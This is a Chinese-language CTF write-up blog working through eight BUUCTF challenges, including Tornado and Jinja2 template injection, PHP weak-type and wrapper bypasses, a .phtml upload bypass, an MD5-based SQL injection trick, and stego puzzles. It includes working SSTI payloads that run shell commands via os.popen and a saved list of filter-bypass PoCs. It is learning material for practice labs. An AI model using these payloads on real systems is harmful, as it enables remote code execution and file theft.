CTF|CTF题记——BUU刷题


本文目录

    • [护网杯 2018]easy_tornado
    • [极客大挑战 2019]BuyFlag
    • [ACTF2020 新生赛]Upload
    • [ZJCTF 2019]NiZhuanSiWei
    • [BJDCTF2020]Easy MD5
    • [安洵杯 2019]easy misc
    • [RCTF2019]draw
    • [BJDCTF 2nd]fake google

[护网杯 2018]easy_tornado 三个文件,内容如下:
/flag.txt /flag.txt flag in /fllllllllllllag /welcome.txt /welcome.txt render /hints.txt /hints.txt md5(cookie_secret+md5(filename))

首先分析浏览了所有的信息。(源码也没什么信息)
还看到URL有点不一样。
http://05239ad4-4ce6-4f18-a238-a43d724341c2.node3.buuoj.cn/file?filename=/flag.txt&filehash=eee7ab48df1318c598d329eb026a93f4

文件名后面还带了hash,所以要找到flag,就是需要将文件名改为正确的,还需要正确的hash
输入错误的话,会返回error页面
CTF|CTF题记——BUU刷题
文章图片

然后思路大概是有了,剩下的就是查资料,render函数还有cookie_secret
关于render函数,render函数是对服务器进行渲染(看着有点难理解)——参考https://baijiahao.baidu.com/s?id=1603797081408586727&wfr=spider&for=pc
还有双大括号的的用法{{}}——https://www.runoob.com/vue2/vue-template-syntax.html
查看大佬的博客,了解到
Tornado框架的附属文件handler.settings中存在cookie_secret
所以构造payload
/error?msg={{handler.settings}}

CTF|CTF题记——BUU刷题
文章图片

得到了cookie_secret,就可以计算其hash值了。
【CTF|CTF题记——BUU刷题】CTF|CTF题记——BUU刷题
文章图片

最后就可以构造正确的URL进行访问,可以得到flag
CTF|CTF题记——BUU刷题
文章图片

[极客大挑战 2019]BuyFlag 浏览界面,找到几处信息
If you want to buy the FLAG: You must be a student from CUIT!!! You must be answer the correct password!!! Only Cuit's students can buy the FLAG FLAG NEED YOUR 100000000 MONEY

这几个条件是页面显示的。
还有源码中的注释

总结一下,一是需要是来自cuit的学生,判断身份的可能是cookie相关的;
二是需要密码,密码等于404,但是还不能是数字,属于PHP弱类型,需要绕过。
三是需要用money买。
条件缕清楚了,post方式首先是在浏览器中直接提交post参数了,但是无法得到flag。
CTF|CTF题记——BUU刷题
文章图片

所以还是决定抓包查看。
CTF|CTF题记——BUU刷题
文章图片

很明显的看出来是身份问题,所以将0改为1进行尝试。
CTF|CTF题记——BUU刷题
文章图片

现在是长度问题了,长度问题,我原本没想到这个函数strcmp(),没考虑它,没有思路了翻翻看大佬的wp才知道的长度限制一般是这个函数,所以进行数组绕过此函数。
CTF|CTF题记——BUU刷题
文章图片

只需要加上数组就行了,至于是不是指定的数字已经不重要了。就可以得到flag
[ACTF2020 新生赛]Upload 先传了一个shell.php,发现只可以上传图片类的。也不知道验证方式是什么,所以就挨个尝试,到这里,我开了代理进行抓包,发现没有抓取到数据包就有提示了;
CTF|CTF题记——BUU刷题
文章图片

然后先改了后缀再抓包改回来,上传发现显示nonono~ Bad file!
不修改的话,就可以直接上传
CTF|CTF题记——BUU刷题
文章图片

呃呃呃,不过连接没有成功。
再试试其他的方式,前端验证的是后缀,后端验证的是php,就试一试;
发现phtml可以成功,然后连接成功了。
CTF|CTF题记——BUU刷题
文章图片

[ZJCTF 2019]NiZhuanSiWei
".file_get_contents($text,'r')."
"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>

isset()函数用于检测变量是否已设置并且非 NULL。
file_get_contents()把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
  1. 先进行第一个if语句,写入字符串,利用PHP伪协议进行操作,使用data://伪协议来写入字符串
?text=data://text/plain; base64,d2VsY29tZSB0byB0aGUgempjdGY=

  1. 第二个if语句,匹配flag,所以payload里不可以有flag,这里使用base64编码绕过,读取useless.php的源码。
&file=php://filter/read=convert.base64-encode/resource=useless.php

CTF|CTF题记——BUU刷题
文章图片

得到base64编码,进行解码,得到源码。
file)){ echo file_get_contents($this->file); echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>

本地进行序列化
file)){ echo file_get_contents($this->file); echo "
"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $password=new Flag(); $password = serialize($password); echo $password; ?>

序列化结果
O:4:"Flag":1:{s:4:"file"; s:8:"flag.php"; }

结合之前的payload,
CTF|CTF题记——BUU刷题
文章图片

flag就在源码里面。
[BJDCTF2020]Easy MD5 输入ffifdyop因为它经过hash后,是276f722736c95d99e921722cf9ed621c
计算MD5还是代码比较快,

这个hash值的前10位,如果当作hex来看的话,正好是'or'6
CTF|CTF题记——BUU刷题
文章图片

谷歌的开发者工具
CTF|CTF题记——BUU刷题
文章图片

看到了hint,一个SQL语句,执行的查询功能,所以输入ffifdyop转换成MD5后,执行SQL语句,mysql会将hex当作ascii码来处理。所以就是执行了
select * from 'admin' where password=''or'6.......'

在本地mysql中尝试一下
CTF|CTF题记——BUU刷题
文章图片

确实是这样的;
可以开始解题了。
提交后在源码中发现了注释……
$a = $GET['a']; $b = $_GET['b']; if($a != $b && md5($a) == md5($b)){ // wow, glzjin wants a girl friend.

PHP弱类型比较
构造payload
http://e790e1f1-0796-4030-b9f9-158e1a50fb1c.node3.buuoj.cn/levels91.php?a=MMHUWUV&b=NOOPCJF


这个===就需要使用数组来进行绕过了。
CTF|CTF题记——BUU刷题
文章图片

[安洵杯 2019]easy misc 解压得到文件
一张图片 一个压缩包(压缩包注释:FLAG IN ((√2524921X85÷5+2)÷15-1794)+NNULLULL,) 一个文件夹(里面是一堆TXT文件)(hint:取前16个字符)

图片可以使用foremost分离出两张图片(但是两张图片是一样的,考虑盲水印)
使用python2的那个,
python bwm.py 0000000.png 0000232.png m0re.png

CTF|CTF题记——BUU刷题
文章图片

使用其他版本的盲水印工具是解不出来的,加密时用什么,解密时就用什么。
压缩包中的算术解出来是7,所以就是flag in 7+NNULLULL
CTF|CTF题记——BUU刷题
文章图片

掩码爆破,呃呃呃,原本没有爆破出来,因为粗心没看到后面的逗号,所以还是细心点。密码:2019456NNULLULL,
CTF|CTF题记——BUU刷题
文章图片

文件夹里都是txt文件,而且内容杂乱。(考虑字频统计)
CTF|CTF题记——BUU刷题
文章图片

取前16位,etaonrhsidluygwc(PS:看了大佬的wp都是只有15位,不知道为什么,有点迷,但是确实15位才能解出题,hint写的16位)
所以还是取15位吧etaonrhsidluygw
根据解出来的decode.txt
CTF|CTF题记——BUU刷题
文章图片

可以写出一个字符串。,但是得出来的结果不是base64编码,有点奇怪,跟大佬的wp比较,如果吧15位中的rh这两个字符去掉,或者让这两个在decode.txt中的值为空,那么就得到了正确的base64编码
QW8obWdIWT9pMkFSQWtRQjVfXiE/WSFTajBtcw=

然后进行解码,Ao(mgHY?i2ARAkQB5_^!?Y!Sj0ms
再进行base85解码得到flagflag{have_a_good_day1}
[RCTF2019]draw 在线网站——Logo解释器
CTF|CTF题记——BUU刷题
文章图片

[BJDCTF 2nd]fake google 前置技能:了解ssti模版注入——https://xz.aliyun.com/t/3679
由于水平有限,不能理解透彻,poc的知识还没了解过,所以暂时不深入了解,这里只学会用就足够了。然后在摘录一下大师傅的绕过姿势。
1.过滤[]等括号
使用gititem绕过。如原poc {{"".class.bases[0]}}
绕过后{{"".class.bases.getitem(0)}}
2.过滤了subclasses,拼凑法
原poc{{"".class.bases[0].subclasses()}}
绕过 {{"".class.bases[0]‘subcla’+‘sses’}}
3.过滤class
使用session
poc {{session[‘cla’+‘ss’].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}
多个bases[0]是因为一直在向上找object类。使用mro就会很方便
{{session[‘cla’+'ss’].mro[12]}}
或者
request[‘cl’+'ass’].mro[12]}}
复制一些常用poc,方便以后使用。
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls/var/www/html").read()' ) object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls') {{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

一些bypass的知识,用到的时候去翻阅吧。原文地址——https://p0sec.net/index.php/archives/120/
做题的时候,输入内容都会返回hello,[input]
在源码中发发现了注释,确定是ssti模版注入。

还有就是,没有过滤,可以洗AN随便丢一个正常的poc尝试,这里无过滤,直接挑一个payload使用就行了。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

CTF|CTF题记——BUU刷题
文章图片

看到flag,所以直接cat根目录里的flag就行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}{% endif %}{% endfor %}

    推荐阅读